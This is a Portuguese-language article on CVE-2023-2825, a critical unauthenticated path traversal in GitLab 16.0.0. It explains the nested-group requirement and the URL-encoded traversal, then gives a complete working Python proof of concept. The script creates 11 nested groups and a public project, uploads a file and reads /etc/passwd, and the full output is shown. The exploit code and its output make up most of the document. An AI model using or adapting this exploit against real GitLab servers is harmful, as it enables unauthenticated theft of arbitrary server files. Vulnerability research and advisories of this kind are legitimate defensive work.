
a prova de conceito escrita em Python para um usuário mal-intencionado não autenticado pode usar uma vulnerabilidade de path traversal para ler arquivos arbitrários no servidor quando existe um anexo em um projeto público aninhado em pelo menos cinco grupos. Este é um problema de gravidade crítica
Em 23 de maio de 2023, o GitLab lançou a versão 16.0.1 que corrigiu uma vulnerabilidade crítica, CVE-2023-2825, afetando as edições Community Edition (CE) e Enterprise Edition (EE) versão 16.0.0. A vulnerabilidade permite que usuários não autenticados leiam arquivos arbitrários através de uma falha de path traversal. Foi descoberta por pwnie no HackerOne através do programa de recompensas por bugs.
No momento da escrita, não havia nenhuma prova de conceito pública disponível.
Um usuário malicioso não autenticado pode usar uma vulnerabilidade de path traversal para ler arquivos arbitrários no servidor quando um anexo existe em um projeto público aninhado em pelo menos cinco grupos. Esta é uma questão de gravidade crítica (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0).
Esta vulnerabilidade tem um requisito interessante: o projeto precisa estar aninhado em pelo menos 5 grupos. Em nossos testes, encontramos uma correlação direta entre a quantidade de grupos e os diretórios que você pode percorrer. A regra parece ser N + 1, ou seja, se você deseja percorrer 10 diretórios, precisa ter 11 grupos.
Em uma instalação padrão do GitLab, os anexos de arquivos são enviados para /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>. Portanto, se você quiser chegar à raiz do sistema de arquivos, deve voltar 10 diretórios e, portanto, precisa de 11 grupos.
Quando você envia um arquivo como anexo em uma issue do GitLab, uma requisição é enviada para POST - /:repo/upload. Isso retorna uma resposta JSON com a URL do arquivo, permitindo que você acesse o arquivo.
A URL do arquivo é composta por /:repo/uploads/:id/:file, onde :file é o nome do arquivo. Substituir :file por qualquer caminho de arquivo fará com que o GitLab retorne o arquivo solicitado. O GitLab falha em sanitizar este caminho de arquivo, levando a path traversal.
Para explorar esta vulnerabilidade com sucesso, você deve codificar a / no caminho do arquivo usando URL encoding. O GitLab lerá isso como um valor e o decodificará internamente. Não codificá-lo fará com que o GitLab interprete a / no caminho do arquivo como parte da rota.
Em nossos testes, codificar apenas a / foi suficiente para contornar erros de caminho do Nginx.
Usuários não autenticados só podem explorar esta vulnerabilidade em repositórios públicos que atendam aos requisitos de grupo aninhado. A autenticação é necessária para acessar o repositório em si.
Aqui está a prova de conceito escrita em Python. Ela cria os 11 grupos, cria um repositório público, envia um arquivo e então explora a vulnerabilidade para obter o arquivo /etc/passwd.
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")
A GitLab recomenda atualizar todas as versões afetadas por este problema o mais rápido possível.
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/